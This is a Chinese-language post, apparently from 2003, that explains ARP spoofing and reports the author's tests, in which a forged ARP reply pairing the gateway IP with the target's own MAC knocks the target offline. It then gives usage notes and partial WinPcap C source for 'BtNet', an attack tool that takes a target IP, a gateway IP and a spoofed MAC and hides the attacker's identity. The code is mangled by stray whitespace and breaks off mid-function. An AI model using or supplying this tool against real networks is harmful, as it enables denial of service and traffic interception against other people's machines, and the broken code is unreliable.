一般的arp spoof是向被欺骗主机发送ARP REPLY数据报,把其中的源IP地址置为被欺骗主机要发包去的主机地址，源MAC地址却改为自己的MAC地址。假设有两台机器A,B，发送一个ARP REPLY数据报给A,其中源IP地址为B的地址,源MAC地址为我的机器的MAC地址(IPRouter功能打开确保数据被转发)，那么A发送到B的数据报就发到我的机器上了，同样对B做相同到操作，那么A<==>B之间的数据就会源源不断的通过我的机器转发，直到一个正常的ARP包更改了A,B的arp缓存为止。

　　 　　那么我们把发送给A的arp数据报的源IP,源MAC更改成任意的，会出现什么现象？下面是我的几个测试

　　 　　1. 源IP更改为网关IP,源MAC改为不存在的MAC地址

　　 　　对目标主机几乎不影响

　　 　　2. 源IP更改为网关IP,源MAC改为内网内任意一台存在但没有开启IPRouter的主机的MAC地址

　　 　　几乎不影响

　　 　　3. 源IP更改为网关IP,源MAC改为目标主机的MAC

目标主机立刻断网!

　　可见当发送经过我们构造的ARP REALY包给目标主机时,会使目标主机的ARP缓存更改，数据封装到MAC层的时候会把网关的IP和自己的MAC地址封装到一起，那么发送到网关的数据报只好发给自己了，呵呵。

　　至于第1种情况，猜想大概是由于MAC地址不存在,目标主机会广播一个ARP REQUEST包而更新了自己的ARP缓存所致。

　　至于第2种情况，猜想源MAC地址所属主机会返回一个ARP REPLY给目标主机。

　　水平有限，所以只是猜想，知道的请告诉我一声，先谢过了。

　　再说一下，以上测试只对于windows系统，当然也测试过对没有配置好的Red Hat成功过。

　　 测试程序(BtNet.exe)说明：

　　Usage: BtNet -h attackIP -o gateIP [-m spoofedMAC]

　　-m参数是你要修改的源MAC地址.

　　为了隐蔽攻击者身份，程序再得到目标主机MAC地址时伪装成IP:128.128.128.128,MAC:a5-a5-a5-a5-a5-a5，可能会得不到目标主机的MAC地址，那么要得到MAC地址请借助第三方工具。

　　附测试程序代码

　　#include "packet32.h"

#include "ntddndis.h"

　　#include

　　#include

　　#include

　　#include

　　 　　#pragma comment(lib,"ws2_32")

　　#pragma comment(lib,"packet")

　　 　　#define ETH_IP 0x0800

　　#define ETH_ARP 0x0806

　　#define ARP_REQUEST 0x0001 //arp请求包

　　#define ARP_REPLY 0x0002 //arp应答包

　　#define ARP_HARDWARE 0x0001

　　#define max_num_adapter 10

　　 　　#pragma pack(push,1)

　　 　　typedef struct ethdr

　　{

　　　　unsigned char eh_dst[6]; //以太网目的地址

　　　　unsigned char eh_src[6]; //以太网源地址

　　　　unsigned short eh_type; //

　　}ETHDR,*PETHDR;

　　typedef struct arphdr //arp头

　　{

　　　　unsigned short arp_hdr; //硬件类型

　　　　unsigned short arp_pro; //协议类型

　　　　unsigned char arp_hln; //硬件地址长度

　　　　unsigned char arp_pln; //协议地址长度

　　　　unsigned short arp_opt; //

　　　　unsigned char arp_sha[6]; //发送端以太网地址

　　　　unsigned long arp_spa; //发送端ip地址

　　　　unsigned char arp_tha[6]; //接收端以太网地址

　　　　unsigned long arp_tpa; //接收端ip地址

　　}ARPHDR,*PARPHDR;

　　 　　typedef struct ip_mac

　　{

　　u_long ip;

　　unsigned char mac[6];

　　}IP_MAC,*PIP_MAC;

　　 　　#pragma pack(push)

　　 　　LPADAPTER lpAdapter;

　　char adapterlist[max_num_adapter][1024];

　　IP_MAC toipandmac;

　　IP_MAC oipandmac,myipandmac;

　　BOOL param6=FALSE;

　　char *noMACstr;

　　char noMAC[6][3];

　　u_long mytoIP,oIP;

　　BOOL sendtoOip;

　　MSG msg;

　　UINT newtimer;

　　char MYIP[20]="128.128.128.128";

　　BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE;

　　 　　int getint(char c)

　　{

　　　　int t=-1;

　　　　if((c<='9')&&(c>='0'))

　　　　　　t=c-'0';

　　　　else if((c>='a')&&(c<='f'))

　　　　　　t=10+c-'a';

　　　　else if

((c>='A')&&(c<='F'))

　　　　　　t=10+c-'A';

　　　　return t;

　　}

　　 　　void start()

　　{

　　　　printf("BtNet //--an ARP Tool test the Windows Break the Internetn");

　　　　printf("written by Ruder,10/2003n");

　　　　printf("Homepage: http://xEyes.cdut.net/ruder/index.htm;n");

　　　　printf("E-mail: cocoruder@163.comn");

　　　　printf("nUsage: BtNet -h attackIP -o gateIP [-m spoofedMAC]n");

　　　　printf("Example:n");

　　　　printf("BtNet -h 202.115.138.12 -o 202.115.138.1n");

　　　　printf("BtNet -h 202.115.138.12 -o 202.115.138.1 -m 00-50-fc-6a--6b--7cn");

　　　　printf(" Warning: You must have installed the winpcap_2.3 or winpcap_3.0_alphan");

　　　　return ;

　　}

　　 　　DWORD WINAPI sniff(LPVOID)

　　{

　　LPPACKET lppackets,lpPacketr;

　　char recvbuf[1024*250];

　　　　ULONG ulbytesreceived,off;

　　　　ETHDR *eth;

　　　　ARPHDR *arp;

　　　　char *buf,*pChar,*base;

　　　　char szTemp[20];

　　　　struct bpf_hdr *hdr;

　　 　　if((lppackets=PacketAllocatePacket())==FALSE)

　　　　{

　　　　　　printf("PacketAllocatePacket send Error: %dn",GetLastError());

　　　　　　return 0;

　　　　}

　　 　　　　if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)

　　　　{

　　　　　　printf("Warning: Unable to set the adapter to promiscuous moden");

　　　　}

　　 　　　　if(PacketSetBuff(lpAdapter,500*1024)==FALSE)

　　　　{

　　　　　　printf("PacketSetBuff Error: %dn",GetLastError());

　　　　　　return 0;

　　　　}

　　 　　　　if(PacketSetReadTimeout(lpAdapter,1)==FALSE)

　　　　{

　　　　　　printf("Warning: Unable to set the timeoutn");

　　　　}

　　 　　　　if((lpPacketr=PacketAllocatePacket())==FALSE)

　　　　{

　　　　　　printf("PacketAllocatePacket receive Error: %dn",GetLastError());

　　　　　　return 0;

　　　　}

　　 　　　　PacketInitPacket(lpPacketr,(char *)recvbuf,sizeof(recvbuf));

　　 　　　　while(!kbhit())

　　　　{

　　　　　　if(PacketReceivePacket(lpAdapter,lpPacketr,TRUE)==FALSE)

　　　　　　{

　　　　　　return 0;

　　　　　　}

　　　　　　//getdata(lppacketr,option);

　　　　　　ulbytesreceived=lpPacketr->ulBytesReceived;

　　　　　　buf=(char *)lpPacketr->Buffer;

　　　　　　off=0;

　　　　while(off 　　　　{

　　　　　　if(kbhit())

　　　　　　{

　　　　　　　　return 0;

　　　　　　}

　　　　　　hdr=(struct bpf_hdr *)(buf+off);

　　　　　　off+=hdr->bh_hdrlen;

　　　　　　pChar=(char *)(buf+off);

　　　　　　base=pChar;

　　　　　　off=Packet_WORDALIGN(off+hdr->bh_caplen);

　　　　　　eth=(PETHDR)pChar; //以太头

　　　　　　arp=(PARPHDR)(pChar+sizeof(ETHDR)); //arp头

　　　　　　int i;

　　　　　　if((eth->eh_type==htons(ETH_ARP))&&

　　　　　　　　(arp->arp_opt==htons(ARP_REPLY)))

　　　　　　{

　　　　　　//if (arp->arp_tpa==htonl(ntohl(inet_addr(MYIP))))

　　　　　　　　{

　　　　　　　　if(oipandmac_flag&&myipandmac_flag&&toipandmac_flag)

　　　　　　　　　　return 0;　　　　　　

　　　　　　　　if (((toipandmac.ip==htonl(arp->arp_spa))&&(toipandmac_flag==FALSE))

　　　　　　　　　　||((myipandmac.ip==htonl(arp->arp_spa))&&(myipandmac_flag==FALSE))

　　　　　　　　　　||((oipandmac.ip==htonl(arp->arp_spa))&&(oipandmac_flag==FALSE)))

　　　　　　　　{

　　　　　　　　memset(szTemp,0,sizeof(szTemp));

　　　　　　　　memcpy(szTemp,&arp->arp_spa,sizeof(arp->arp_spa));

　　　　　　　　 　　　　　　　　printf("[IP]:");

　　　　　　　　printf("%s",inet_ntoa(*((struct in_addr *)szTemp)));

　　　　　　　　pr